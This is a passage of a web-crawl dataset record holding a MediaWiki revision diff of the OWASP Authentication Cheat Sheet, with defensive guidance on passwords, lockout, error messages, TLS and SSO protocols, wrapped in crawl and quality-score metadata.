5777,
5778,
5799,
5800,
5950,
5951,
5980,
5981,
6062,
6063,
6072,
6073,
6129,
6130,
6146,
6147,
6239,
6240,
6254,
6255,
6388,
6389,
6406,
6407,
6495,
6496,
6507,
6508,
6626,
6627,
6640,
6641,
6686,
6687,
6771,
6772,
6858,
6859,
6964,
6965,
7112,
7113,
7508,
7509,
7688,
7689,
7706,
7707,
7798,
7799,
8519
]
} | {
"red_pajama_v2": {
"ccnet_original_length": 8519,
"ccnet_original_nlines": 193,
"rps_doc_curly_bracket": 0,
"rps_doc_ldnoobw_words": 1,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.35744422674179077,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.027727549895644188,
"rps_doc_frac_lines_end_with_ellipsis": 0,
"rps_doc_frac_no_alph_words": 0.1820373684167862,
"rps_doc_frac_unique_words": 0.4214559495449066,
"rps_doc_mean_word_length": 5.193103313446045,
"rps_doc_num_sentences": 101,
"rps_doc_symbol_to_word_ratio": 0.004822180140763521,
"rps_doc_unigram_entropy": 5.6434006690979,
"rps_doc_word_count": 1305,
"rps_doc_frac_chars_dupe_10grams": 0,
"rps_doc_frac_chars_dupe_5grams": 0,
"rps_doc_frac_chars_dupe_6grams": 0,
"rps_doc_frac_chars_dupe_7grams": 0,
"rps_doc_frac_chars_dupe_8grams": 0,
"rps_doc_frac_chars_dupe_9grams": 0,
"rps_doc_frac_chars_top_2gram": 0.0066401101648807526,
"rps_doc_frac_chars_top_3gram": 0.005754760000854731,
"rps_doc_frac_chars_top_4gram": 0.006492550019174814,
"rps_doc_books_importance": -710.98583984375,
"rps_doc_books_importance_length_correction": -710.98583984375,
"rps_doc_openwebtext_importance": -479.4742431640625,
"rps_doc_openwebtext_importance_length_correction": -479.4742431640625,
"rps_doc_wikipedia_importance": -394.8897705078125,
"rps_doc_wikipedia_importance_length_correction": -394.8897705078125
},
"fasttext": {
"dclm": 0.032624781131744385,
"english": 0.8867133855819702,
"fineweb_edu_approx": 2.2432198524475098,
"eai_general_math": 0.7344209551811218,
"eai_open_web_math": 0.2666524052619934,
"eai_web_code": 0.8519213199615479
}
} | {
"free_decimal_correspondence": {
"primary": {
"code": "005.1332",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
},
"secondary": {
"code": "005.133",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "3",
"label": "Apply"
},
"secondary": {
"code": "2",
"label": "Understand"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "3",
"label": "Procedural"
},
"secondary": {
"code": "2",
"label": "Conceptual"
}
},
"document_type_v1": {
"primary": {
"code": "3",
"label": "Reference/Encyclopedic/Educational"
},
"secondary": {
"code": "4",
"label": "Code/Software"
}
},
"extraction_artifacts": {
"primary": {
"code": "0",
"label": "No Artifacts"
},
"secondary": {
"code": "3",
"label": "Irrelevant Content"
}
},
"missing_content": {
"primary": {
"code": "0",
"label": "No missing content"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"document_type_v2": {
"primary": {
"code": "8",
"label": "Documentation"
},
"secondary": {
"code": "10",
"label": "Knowledge Article"
}
},
"reasoning_depth": {
"primary": {
"code": "2",
"label": "Basic Reasoning"
},
"secondary": {
"code": "3",
"label": "Intermediate Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "4",
"label": "Highly Correct"
},
"secondary": {
"code": "3",
"label": "Mostly Correct"
}
},
"education_level": {
"primary": {
"code": "3",
"label": "Undergraduate Level"
},
"secondary": {
"code": "4",
"label": "Graduate/Expert Level"
}
}
} | 672f1e42c33a7f9846924a2431ea77df |
-6,584,412,756,605,508,000 | Difference between revisions of "Authentication Cheat Sheet"
From OWASP
Jump to: navigation, search
(removing extra info)
(removed footer and the modification tag)
(21 intermediate revisions by 6 users not shown)
Line 2: Line 2:
<div style="width:100%;height:160px;border:0,margin:0;overflow: hidden;">[[File:Cheatsheets-header.jpg|link=]]</div>
<div style="width:100%;height:160px;border:0,margin:0;overflow: hidden;">[[File:Cheatsheets-header.jpg|link=]]</div>
{| style="padding: 0;margin:0;margin-top:10px;text-align:left;" |-
+
The Cheat Sheet Series project has been moved to [https://github.com/OWASP/CheatSheetSeries GitHub]!
| valign="top" style="border-right: 1px dotted gray;padding-right:25px;" |
Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}'''
<br/><b>English</b> | [[Authentication_Cheat_Sheet_Español | Spanish]]<br/>
<br/>
__TOC__{{TOC hidden}}
= Introduction =
'''Authentication''' is the process of verification that an individual, entity or website is who it claims to be. Authentication in the context of web applications is commonly performed by submitting a user name or ID and one or more items of private information that only a given user should know.
+
Please visit [https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/Authentication_Cheat_Sheet.md Authentication Cheat Sheet] to see the latest version of the cheat sheet.
'''Session Management''' is a process by which a server maintains the state of an entity interacting with it. This is required for a server to remember how to react to subsequent requests throughout a transaction. Sessions are maintained on the server by a session identifier which can be passed back and forward between the client and server when transmitting and receiving requests. Sessions should be unique per user and computationally very difficult to predict.
== Authentication General Guidelines ==
=== User IDs ===
Make sure your usernames/userids are case insensitive. User 'smith' and user 'Smith' should be the same user. User names should also be unique. For high security applications usernames could be assigned and secret instead of user-defined public data.
==== Email address as a User ID ====
For information on validation email addresses, please visit the [https://www.owasp.org/index.php/Input_Validation_Cheat_Sheet#Email_Address_Validation email validaiton cheatsheet]].
===== Validation =====
Many web applications contain computationally expensive and inaccurate regular expressions that attempt to validate email addresses.
Recent changes to the landscape mean that the number of false-negatives will increase, particularly due to:
* Increased popularity of sub-addressing by providers such as Gmail (commonly using <tt>+</tt> as a token in the local-part to affect delivery)
* New gTLDs with long names (many regular expressions check the number and length of each label in the domain)
Following RFC 5321, best practice for validating an email address would be to:
* Check for presence of at least one <tt>@</tt> symbol in the address
* Ensure the local-part is no longer than 64 octets
* Ensure the domain is no longer than 255 octets
* Ensure the address is deliverable
To ensure an address is deliverable, the only way to check this is to send the user an email and have the user take action to confirm receipt.
Beyond confirming that the email address is valid and deliverable, this also provides a positive acknowledgement that the user has access to the mailbox and is likely to be authorised to use it. This does not mean that other users cannot access this mailbox, for example when the user makes use of a service that generates a throw away email address.
* Email verification links should only satisfy the requirement of verify email address ownership and should not provide the user with an authenticated session (e.g. the user must still authenticate as normal to access the application).
* Email verification codes must expire after the first use or expire after 8 hours if not used.
===== Address Normalization =====
As the local-part of email addresses are, in fact - case sensitive, it is important to store and compare email addresses correctly.
To normalise an email address input, you would convert the domain part ONLY to lowercase.
Unfortunately this does and will make input harder to normalise and correctly match to a users intent.
It is reasonable to only accept one unique capitalisation of an otherwise identical address, however in this case it is critical to:
* Store the user-part as provided and verified by user verification
* Perform comparisons by <tt>lowercase(provided)==lowercase(persisted)</tt>
=== Implement Proper Password Strength Controls ===
A key concern when using passwords for authentication is password strength. A "strong" password policy makes it difficult or even improbable for one to guess the password through either manual or automated means. The following characteristics define a strong password:
==== Warning ====
The following advice is disputed. Please view the OWASP presentation, "[https://www.youtube.com/watch?v=zUM7i8fsf0g Your Password Complexity Requirements are Worthless - OWASP AppSecUSA 2014]" for more information.
==== Password Length ====
Longer passwords provide a greater combination of characters and consequently make it more difficult for an attacker to guess.
* '''Minimum''' length of the passwords should be '''enforced''' by the application.
** Passwords '''shorter than 10 characters''' are considered to be weak ([http://csrc.nist.gov/publications/nistpubs/800-132/nist-sp800-132.pdf]).
While minimum length enforcement may cause problems with memorizing passwords among some users, applications should encourage them to set ''passphrases'' (sentences or combination of words) that can be much longer than typical passwords and yet much easier to remember.
* '''Maximum''' password length should not be set '''too low''', as it will prevent users from creating passphrases. Typical maximum length is 128 characters.
** Passphrases shorter than 20 characters are usually considered weak if they only consist of lower case Latin characters.
==== Password Complexity ====
Applications should enforce password complexity rules to discourage easy to guess passwords. Password mechanisms should allow virtually any character the user can type to be part of their password, including the space character. Passwords should, obviously, be case sensitive in order to increase their complexity. Occasionally, we find systems where passwords aren't case sensitive, frequently due to legacy system issues like old mainframes that didn't have case sensitive passwords.
The password change mechanism should require a minimum level of complexity that makes sense for the application and its user population. For example:
*Password must meet at least 3 out of the following 4 complexity rules
**at least 1 uppercase character (A-Z)
**at least 1 lowercase character (a-z)
**at least 1 digit (0-9)
**at least 1 [[Password special characters|special character (punctuation)]] — do not forget to treat space as special characters too
*at least 10 characters
*at most 128 characters
*not more than 2 identical characters in a row (e.g., 111 not allowed)
==== Password Topologies ====
* Ban commonly used password topologies
* Force multiple users to use different password topologies
* Require a minimum topology change between old and new passwords
== Online Password Guessing and Password Attacks ==
Applications must defend against online password guessing attempts by one of the following methods:
* Account Lockout - Lock account after 5 failed password attempts
* Temporary Account Lockout- Temporarily lock account after 5 failed password attempts
* Anti-automation Captcha - Require a captcha to be successfully completed after 5 failed password attempts
[https://www.owasp.org/index.php/Blocking_Brute_Force_Attacks Additional Reading]
=== Password Reset Functions ===
* Where applicable use out of band verification while resetting passwords. For Example, use One Time Passwords (OTPs) sent on a registered mobile or email ids. In this process do not ask the user to enter email id / phone number as the malicious user can use it to his/her advanatage.
* Where possible verify the user's identity by asking security questions
==== Additional Information ====
*Make sure that every character the user types in is actually included in the password. We've seen systems that truncate the password at a length shorter than what the user provided (e.g., truncated at 15 characters when they entered 20).
**This is usually handled by setting the length of ALL password input fields to be exactly the same length as the maximum length password. This is particularly important if your max password length is short, like 20-30 characters.
As application's require more complex password policies, they need to be very clear about what these policies are.
*The required policy needs to be explicitly stated on the password change page
** be sure to list every special character you allow, so it's obvious to the user
Recommendation:
* Ideally, the application would indicate to the user as they type in their new password how much of the complexity policy their new password meets
**In fact, the submit button should be grayed out until the new password meets the complexity policy and the 2nd copy of the new password matches the 1st. This will make it far easier for the user to understand and comply with your complexity policy.
Regardless of how the UI behaves, when a user submits their password change request:
*If the new password doesn't comply with the complexity policy, the error message should describe EVERY complexity rule that the new password does not comply with, not just the 1st rule it doesn't comply with.
=== Implement Secure Password Recovery Mechanism ===
It is common for an application to have a mechanism that provides a means for a user to gain access to their account in the event they forget their password. Please see [[Forgot Password Cheat Sheet]] for details on this feature.
=== Store Passwords in a Secure Fashion ===
It is critical for a application to store a password using the right cryptographic technique. Please see [[Password Storage Cheat Sheet]] for details on this feature.
=== Transmit Passwords Only Over TLS or Other Strong Transport ===
See: [[Transport Layer Protection Cheat Sheet]]
The login page and all subsequent authenticated pages must be exclusively accessed over TLS or other strong transport. The initial login page, referred to as the "login landing page", must be served over TLS or other strong transport. Failure to utilize TLS or other strong transport for the login landing page allows an attacker to modify the login form action, causing the user's credentials to be posted to an arbitrary location. Failure to utilize TLS or other strong transport for authenticated pages after the login enables an attacker to view the unencrypted session ID and compromise the user's authenticated session.
=== Require Re-authentication for Sensitive Features ===
In order to mitigate CSRF and session hijacking, it's important to require the current credentials for an account before updating sensitive account information such as the user's password, user's email, or before sensitive transactions, such as shipping a purchase to a new address. Without this countermeasure, an attacker may be able to execute sensitive transactions through a CSRF or XSS attack without needing to know the user's current credentials. Additionally, an attacker may get temporary physical access to a user's browser or steal their session ID to take over the user's session.
=== Consider Strong Transaction Authentication ===
Some applications should use a second factor to check whether a user may perform sensitive operations. For more information see the [Transaction Authorization Cheat Sheet].
==== TLS Client Authentication ====
TLS Client Authentication, also known as two-way TLS authentication, consists of both, browser and server, sending their respective TLS certificates during the TLS handshake process. Just as you can validate the authenticity of a server by using the certificate and asking a well known Certificate Authority (CA) if the certificate is valid, the server can authenticate the user by receiving a certificate from the client and validating against a third party CA or its own CA. To do this, the server must provide the user with a certificate generated specifically for him, assigning values to the subject so that these can be used to determine what user the certificate should validate. The user installs the certificate on a browser and now uses it for the website.
It is a good idea to do this when:
*It is acceptable (or even preferred) that the user only has access to the website from only a single computer/browser.
*The user is not easily scared by the process of installing TLS certificates on his browser or there will be someone, probably from IT support, that will do this for the user.
*The website requires an extra step of security.
*It is also a good thing to use when the website is for an intranet of a company or organization.
It is generally not a good idea to use this method for widely and publicly available websites that will have an average user. For example, it wouldn't be a good idea to implement this for a website like Facebook. While this technique can prevent the user from having to type a password (thus protecting against an average keylogger from stealing it), it is still considered a good idea to consider using both a password and TLS client authentication combined.
For more information, see: [https://en.wikipedia.org/wiki/Transport_Layer_Security#Client-authenticated_TLS_handshake Client-authenticated TLS handshake]
=== Authentication and Error Messages ===
Incorrectly implemented error messages in the case of authentication functionality can be used for the purposes of user ID and password enumeration. An application should respond (both HTTP and HTML) in a generic manner.
===== Authentication Responses =====
An application should respond with a generic error message regardless of whether the user ID or password was incorrect. It should also give no indication to the status of an existing account.
===== Incorrect Response Examples =====
*"Login for User foo: invalid password"
*"Login failed, invalid user ID"
*"Login failed; account disabled"
*"Login failed; this user is not active"
===== Correct Response Example =====
*"Login failed; Invalid userID or password"
The correct response does not indicate if the user ID or password is the incorrect parameter and hence inferring a valid user ID.
===== Error Codes and URLs =====
The application may return a different HTTP Error code depending on the authentication attempt response. It may respond with a 200 for a positive result and a 403 for a negative result. Even though a generic error page is shown to a user, the HTTP response code may differ which can leak information about whether the account is valid or not.
=== Prevent Brute-Force Attacks ===
If an attacker is able to guess passwords without the account becoming disabled due to failed authentication attempts, the attacker has an opportunity to continue with a brute force attack until the account is compromised. Automating brute-force/password guessing attacks on web applications is a trivial challenge. Password lockout mechanisms should be employed that lock out an account if more than a preset number of unsuccessful login attempts are made. Password lockout mechanisms have a logical weakness. An attacker that undertakes a large number of authentication attempts on known account names can produce a result that locks out entire blocks of user accounts. Given that the intent of a password lockout system is to protect from brute-force attacks, a sensible strategy is to lockout accounts for a period of time (e.g., 20 minutes). This significantly slows down attackers, while allowing the accounts to reopen automatically for legitimate users.
Also, multi-factor authentication is a very powerful deterrent when trying to prevent brute force attacks since the credentials are a moving target. When multi-factor is implemented and active, account lockout may no longer be necessary.
== Logging and Monitoring ==
Enable logging and monitoring of authentication functions to detect attacks / failures on a real time basis
*Ensure that all failures are logged and reviewed
*Ensure that all password failures are logged and reviewed
*Ensure that all account lockouts are logged and reviewed
== Use of authentication protocols that require no password ==
While authentication through a user/password combination and using multi-factor authentication is considered generally secure, there are use cases where it isn't considered the best option or even safe. An example of this are third party applications that desire connecting to the web application, either from a mobile device, another website, desktop or other situations. When this happens, it is NOT considered safe to allow the third party application to store the user/password combo, since then it extends the attack surface into their hands, where it isn't in your control. For this, and other use cases, there are several authentication protocols that can protect you from exposing your users' data to attackers.
=== OAuth ===
Open Authorization (OAuth) is a protocol that allows an application to authenticate against a server as a user, without requiring passwords or any third party server that acts as an identity provider. It uses a token generated by the server, and provides how the authorization flows most occur, so that a client, such as a mobile application, can tell the server what user is using the service.
The recommendation is to use and implement OAuth 1.0a or OAuth 2.0, since the very first version (OAuth1.0) has been found to be vulnerable to session fixation.
OAuth 2.0 relies on HTTPS for security and is currently used and implemented by API's from companies such as Facebook, Google, Twitter and Microsoft. OAuth1.0a is more difficult to use because it requires the use of cryptographic libraries for digital signatures, however does not rely on HTTPS for security and can therefore be more suited for higher risk transactions.
=== OpenId ===
OpenId is an HTTP-based protocol that uses identity providers to validate that a user is who he says he is. It is a very simple protocol which allows a service provider initiated way for single sign-on (SSO). This allows the user to re-use a single identity given to a trusted OpenId identity provider and be the same user in multiple websites, without the need to provide any website the password, except for the OpenId identity provider.
Due to its simplicity and that it provides protection of passwords, OpenId has been well adopted. Some of the well known identity providers for OpenId are Stack Exchange, Google, Facebook and Yahoo!
For non-enterprise environment, OpenId is considered a secure and often better choice, as long as the identity provider is of trust.
=== SAML ===
Security Assertion Markup Language (SAML) is often considered to compete with OpenId. The most recommended version is 2.0, since it is very feature complete and provides a strong security. Like with OpenId, SAML uses identity providers, but unlike it, it is XML-based and provides more flexibility. SAML is based on browser redirects which send XML data. Unlike SAML, it isn't only initiated by a service provider, but it can also be initiated from the identity provider. This allows the user to navigate through different portals while still being authenticated without having to do anything, making the process transparent.
While OpenId has taken most of the consumer market, SAML is often the choice for enterprise applications. The reason for this is often that there are few OpenId identity providers which are considered of enterprise class (meaning that the way they validate the user identity doesn't have high standards required for enterprise identity). It is more common to see SAML being used inside of intranet websites, sometimes even using a server from the intranet as the identity provider.
In the past few years, applications like SAP ERP and SharePoint (SharePoint by using Active Directory Federation Services 2.0) have decided to use SAML 2.0 authentication as an often preferred method for single sign-on implementations whenever enterprise federation is required for web services and web applications.
'''See also: [[SAML Security Cheat Sheet]]'''
=== FIDO ===
The Fast Identity Online (FIDO) Alliance has created two protocols to facilitate online authentication : the Universal Authentication Framework (UAF) protocol and the Universal Second Factor (U2F) protocol. While UAF focuses on passwordless authentication, U2F allows the addition of a second factor to existing password-based authentication. Both protocols are based on a public key cryptography challenge-response model.
UAF takes advantage of existing security technologies present on devices for authentication including fingerprint sensors, cameras(face biometrics), microphones(voice biometrics), Trusted Execution Environments(TEEs), Secure Elements(SEs) and others. The protocol is designed to plug-in these device capabilities into a common authentication framework. UAF works with both native applications and web applications.
U2F augments password-based authentication using a hardware token (typically USB) that stores cryptographic authentication keys and uses them for signing. The user can use the same token as a second factor for multiple applications. U2F works with web applications. It provides '''protection against phishing''' by using the URL of the website to lookup the stored authentication key.
== Session Management General Guidelines ==
Session management is directly related to authentication. The '''Session Management General Guidelines''' previously available on this OWASP Authentication Cheat Sheet have been integrated into the [[Session Management Cheat Sheet]].
== Password Managers ==
Password managers are programs, browser plugins or web services that automate management of large number of different credentials, including memorizing and filling-in, generating random passwords on different sites etc. The web application can help password managers by:
* using standard HTML forms for username and password input,
* not disabling copy and paste on HTML form fields,
* allowing very long passwords,
* not using multi-stage login schemes (username on first screen, then password),
* not using highly scripted (JavaScript) authentication schemes.
== Additional Resources ==
A PDF of this cheatsheet has been created here. https://magic.piktochart.com/output/7003174-authentication-cheat-sheet
== Authors and Primary Editors ==
Eoin Keary eoinkeary[at]owasp.org <br/>
Jim Manico<br/>
Timo Goosen<br/>
Pawel Krawczyk<br/>
Sven Neuhaus<br/>
Manuel Aude Morales
== Other Cheatsheets ==
{{Cheatsheet_Navigation_Body}}
[[Category:Cheatsheets]]
Latest revision as of 05:33, 14 February 2019
Cheatsheets-header.jpg
The Cheat Sheet Series project has been moved to GitHub!
Please visit Authentication Cheat Sheet to see the latest version of the cheat sheet. | {
"url": "https://www.owasp.org/index.php?title=Authentication_Cheat_Sheet&diff=247458&oldid=206361",
"source_domain": "www.owasp.org",
"snapshot_id": "crawl=CC-MAIN-2019-13",
"warc_metadata": {
"Content-Length": "84861",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:DABAR7DHFPSCPKZ4RDYK5N2ERAK7EKYI",
"WARC-Concurrent-To": "<urn:uuid:82c4dbf5-7cab-454c-8ac3-efddb0a50433>",
"WARC-Date": "2019-03-22T23:13:08Z",
"WARC-IP-Address": "104.130.219.202",
"WARC-Identified-Payload-Type": "text/html",
"WARC-Payload-Digest": "sha1:BYERWKKAHLGX64OPAL63TVKORQHV3R7A",
"WARC-Record-ID": "<urn:uuid:167b5f23-d3ea-451b-bba0-a3303579d360>",
"WARC-Target-URI": "https://www.owasp.org/index.php?title=Authentication_Cheat_Sheet&diff=247458&oldid=206361",
"WARC-Truncated": null,
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:b38f5cab-0582-4ac7-b833-68e5d703b891>"
},
"warc_info": "isPartOf: CC-MAIN-2019-13\r\npublisher: Common Crawl\r\ndescription: Wide crawl of the web for March 2019\r\noperator: Common Crawl Admin ([email protected])\r\nhostname: ip-10-152-225-239.ec2.internal\r\nsoftware: Apache Nutch 1.15 (modified, https://github.com/commoncrawl/nutch/)\r\nrobots: checked via crawler-commons 0.11-SNAPSHOT (https://github.com/crawler-commons/crawler-commons)\r\nformat: WARC File Format 1.1\r\nconformsTo: http://iipc.github.io/warc-specifications/specifications/warc-format/warc-1.1/"
} | {
"line_start_idx": [
0,
61,
62,
73,
101,
123,
165,
167,
216,
232,
234,
351,
353,
470,
473,
540,
542,
643,
719,
721,
804,
806,
882,
884,
890,
892,
914,
916,
934,
936,
939,
1239,
1241,
1425,
1427,
1429,
1896,
1898,
1900,
1902,
1943,
1945,
1947,
1949,
1966,
1968,
1970,
1972,
2223,
2225,
2227,
2229,
2266,
2268,
2270,
2272,
2454,
2456,
2458,
2460,
2483,
2485,
2618,
2620,
2622,
2624,
2732,
2734,
2878,
2880,
2991,
2993,
2995,
2997,
3076,
3078,
3148,
3150,
3202,
3204,
3253,
3255,
3291,
3293,
3295,
3297,
3440,
3442,
3793,
3795,
3797,
3799,
4035,
4037,
4133,
4135,
4137,
4139,
4173,
4175,
4307,
4309,
4399,
4401,
4403,
4405,
4508,
4510,
4512,
4514,
4647,
4649,
4717,
4719,
4795,
4797,
4799,
4801,
4853,
4855,
4857,
4859,
5128,
5130,
5132,
5134,
5152,
5154,
5156,
5158,
5374,
5376,
5378,
5380,
5406,
5408,
5410,
5412,
5539,
5541,
5543,
5545,
5630,
5632,
5779,
5781,
5783,
5785,
6055,
6057,
6059,
6061,
6220,
6222,
6345,
6347,
6349,
6351,
6381,
6383,
6385,
6387,
6873,
6875,
6877,
6879,
7029,
7031,
7033,
7035,
7106,
7108,
7147,
7149,
7188,
7190,
7215,
7217,
7357,
7359,
7383,
7385,
7409,
7411,
7482,
7484,
7486,
7488,
7518,
7520,
7522,
7524,
7564,
7566,
7626,
7628,
7694,
7696,
7698,
7700,
7752,
7754,
7854,
7856,
7922,
7924,
8011,
8013,
8121,
8123,
8205,
8207,
8209,
8211,
8244,
8246,
8248,
8250,
8535,
8537,
8610,
8612,
8614,
8616,
8618,
8620,
8653,
8655,
8657,
8659,
8898,
8900,
9131,
9133,
9135,
9137,
9252,
9254,
9333,
9335,
9417,
9419,
9421,
9423,
9439,
9441,
9589,
9591,
9842,
9844,
9846,
9848,
9933,
9935,
10145,
10147,
10149,
10151,
10204,
10206,
10208,
10210,
10440,
10442,
10444,
10446,
10490,
10492,
10494,
10496,
10663,
10665,
10667,
10669,
10736,
10738,
10740,
10742,
10790,
10792,
10794,
10796,
11423,
11425,
11427,
11429,
11486,
11488,
11490,
11492,
12088,
12090,
12092,
12094,
12145,
12147,
12149,
12151,
12324,
12326,
12328,
12330,
12366,
12368,
12370,
12372,
13139,
13141,
13143,
13145,
13180,
13182,
13184,
13186,
13306,
13308,
13484,
13486,
13535,
13537,
13635,
13637,
13639,
13641,
14101,
14103,
14105,
14107,
14261,
14263,
14265,
14267,
14309,
14311,
14313,
14315,
14536,
14538,
14540,
14542,
14579,
14581,
14583,
14585,
14777,
14779,
14781,
14783,
14823,
14825,
14827,
14829,
14869,
14871,
14904,
14906,
14940,
14942,
14983,
14985,
14987,
14989,
15026,
15028,
15030,
15032,
15076,
15078,
15080,
15082,
15212,
15214,
15216,
15218,
15251,
15253,
15255,
15257,
15600,
15602,
15604,
15606,
15642,
15644,
15646,
15648,
16613,
16615,
16617,
16619,
16857,
16859,
16861,
16863,
16892,
16894,
17002,
17004,
17006,
17008,
17058,
17060,
17119,
17121,
17179,
17181,
17183,
17185,
17248,
17250,
17252,
17254,
17974,
17976,
17978,
17980,
17994,
17996,
17998,
18000,
18395,
18397,
18399,
18401,
18562,
18564,
18566,
18568,
18939,
18941,
18943,
18945,
18960,
18962,
18964,
18966,
19406,
19408,
19410,
19412,
19611,
19613,
19615,
19617,
19750,
19752,
19754,
19756,
19769,
19771,
19773,
19775,
20401,
20403,
20405,
20407,
20889,
20891,
20893,
20895,
21212,
21214,
21216,
21218,
21264,
21266,
21268,
21270,
21283,
21285,
21708,
21710,
21712,
21714,
22129,
22131,
22133,
22135,
22520,
22522,
22524,
22526,
22571,
22573,
22575,
22577,
22811,
22813,
22815,
22817,
22841,
22843,
22845,
22847,
23118,
23120,
23122,
23124,
23185,
23187,
23239,
23241,
23273,
23275,
23356,
23358,
23423,
23425,
23427,
23429,
23456,
23458,
23460,
23462,
23581,
23583,
23585,
23587,
23622,
23624,
23626,
23628,
23668,
23670,
23686,
23688,
23705,
23707,
23727,
23729,
23747,
23749,
23769,
23771,
23773,
23775,
23799,
23801,
23803,
23805,
23836,
23838,
23863,
23865,
23866,
23912,
23913,
23936,
23937,
23994,
23995
],
"line_end_idx": [
61,
62,
73,
101,
123,
165,
167,
216,
232,
234,
351,
353,
470,
473,
540,
542,
643,
719,
721,
804,
806,
882,
884,
890,
892,
914,
916,
934,
936,
939,
1239,
1241,
1425,
1427,
1429,
1896,
1898,
1900,
1902,
1943,
1945,
1947,
1949,
1966,
1968,
1970,
1972,
2223,
2225,
2227,
2229,
2266,
2268,
2270,
2272,
2454,
2456,
2458,
2460,
2483,
2485,
2618,
2620,
2622,
2624,
2732,
2734,
2878,
2880,
2991,
2993,
2995,
2997,
3076,
3078,
3148,
3150,
3202,
3204,
3253,
3255,
3291,
3293,
3295,
3297,
3440,
3442,
3793,
3795,
3797,
3799,
4035,
4037,
4133,
4135,
4137,
4139,
4173,
4175,
4307,
4309,
4399,
4401,
4403,
4405,
4508,
4510,
4512,
4514,
4647,
4649,
4717,
4719,
4795,
4797,
4799,
4801,
4853,
4855,
4857,
4859,
5128,
5130,
5132,
5134,
5152,
5154,
5156,
5158,
5374,
5376,
5378,
5380,
5406,
5408,
5410,
5412,
5539,
5541,
5543,
5545,
5630,
5632,
5779,
5781,
5783,
5785,
6055,
6057,
6059,
6061,
6220,
6222,
6345,
6347,
6349,
6351,
6381,
6383,
6385,
6387,
6873,
6875,
6877,
6879,
7029,
7031,
7033,
7035,
7106,
7108,
7147,
7149,
7188,
7190,
7215,
7217,
7357,
7359,
7383,
7385,
7409,
7411,
7482,
7484,
7486,
7488,
7518,
7520,
7522,
7524,
7564,
7566,
7626,
7628,
7694,
7696,
7698,
7700,
7752,
7754,
7854,
7856,
7922,
7924,
8011,
8013,
8121,
8123,
8205,
8207,
8209,
8211,
8244,
8246,
8248,
8250,
8535,
8537,
8610,
8612,
8614,
8616,
8618,
8620,
8653,
8655,
8657,
8659,
8898,
8900,
9131,
9133,
9135,
9137,
9252,
9254,
9333,
9335,
9417,
9419,
9421,
9423,
9439,
9441,
9589,
9591,
9842,
9844,
9846,
9848,
9933,
9935,
10145,
10147,
10149,
10151,
10204,
10206,
10208,
10210,
10440,
10442,
10444,
10446,
10490,
10492,
10494,
10496,
10663,
10665,
10667,
10669,
10736,
10738,
10740,
10742,
10790,
10792,
10794,
10796,
11423,
11425,
11427,
11429,
11486,
11488,
11490,
11492,
12088,
12090,
12092,
12094,
12145,
12147,
12149,
12151,
12324,
12326,
12328,
12330,
12366,
12368,
12370,
12372,
13139,
13141,
13143,
13145,
13180,
13182,
13184,
13186,
13306,
13308,
13484,
13486,
13535,
13537,
13635,
13637,
13639,
13641,
14101,
14103,
14105,
14107,
14261,
14263,
14265,
14267,
14309,
14311,
14313,
14315,
14536,
14538,
14540,
14542,
14579,
14581,
14583,
14585,
14777,
14779,
14781,
14783,
14823,
14825,
14827,
14829,
14869,
14871,
14904,
14906,
14940,
14942,
14983,
14985,
14987,
14989,
15026,
15028,
15030,
15032,
15076,
15078,
15080,
15082,
15212,
15214,
15216,
15218,
15251,
15253,
15255,
15257,
15600,
15602,
15604,
15606,
15642,
15644,
15646,
15648,
16613,
16615,
16617,
16619,
16857,
16859,
16861,
16863,
16892,
16894,
17002,
17004,
17006,
17008,
17058,
17060,
17119,
17121,
17179,
17181,
17183,
17185,
17248,
17250,
17252,
17254,
17974,
17976,
17978,
17980,
17994,
17996,
17998,
18000,
18395,
18397,
18399,
18401,
18562,
18564,
18566,
18568,
18939,
18941,
18943,
18945,
18960,
18962,
18964,
18966,
19406,
19408,
19410,
19412,
19611,
19613,
19615,
19617,
19750,
19752,
19754,
19756,
19769,
19771,
19773,
19775,
20401,
20403,
20405,
20407,
20889,
20891,
20893,
20895,
21212,
21214,
21216,
21218,
21264,
21266,
21268,
21270,
21283,
21285,
21708,
21710,
21712,
21714,
22129,
22131,
22133,
22135,
22520,
22522,
22524,
22526,
22571,
22573,
22575,
22577,
22811,
22813,
22815,
22817,
22841,
22843,
22845,
22847,
23118,
23120,
23122,
23124,
23185,
23187,
23239,
23241,
23273,
23275,
23356,
23358,
23423,
23425,
23427,
23429,
23456,
23458,
23460,
23462,
23581,
23583,
23585,
23587,
23622,
23624,
23626,
23628,
23668,
23670,
23686,
23688,
23705,
23707,
23727,
23729,
23747,
23749,
23769,
23771,
23773,
23775,
23799,
23801,
23803,
23805,
23836,
23838,
23863,
23865,
23866,
23912,
23913,
23936,
23937,
23994,
23995,
24080
]
} | {
"red_pajama_v2": {
"ccnet_original_length": 24080,
"ccnet_original_nlines": 550,
"rps_doc_curly_bracket": 0.0008720899932086468,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.3563086688518524,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.020151130855083466,
"rps_doc_frac_lines_end_with_ellipsis": 0,
"rps_doc_frac_no_alph_words": 0.18983283638954163,
"rps_doc_frac_unique_words": 0.28920990228652954,
"rps_doc_mean_word_length": 5.507665157318115,
"rps_doc_num_sentences": 171,
"rps_doc_symbol_to_word_ratio": 0.0004579800006467849,
"rps_doc_unigram_entropy": 5.89959716796875,
"rps_doc_word_count": 3392,
"rps_doc_frac_chars_dupe_10grams": 0.006423300132155418,
"rps_doc_frac_chars_dupe_5grams": 0.042019061744213104,
"rps_doc_frac_chars_dupe_6grams": 0.03217000141739845,
"rps_doc_frac_chars_dupe_7grams": 0.027513109147548676,
"rps_doc_frac_chars_dupe_8grams": 0.01980515941977501,
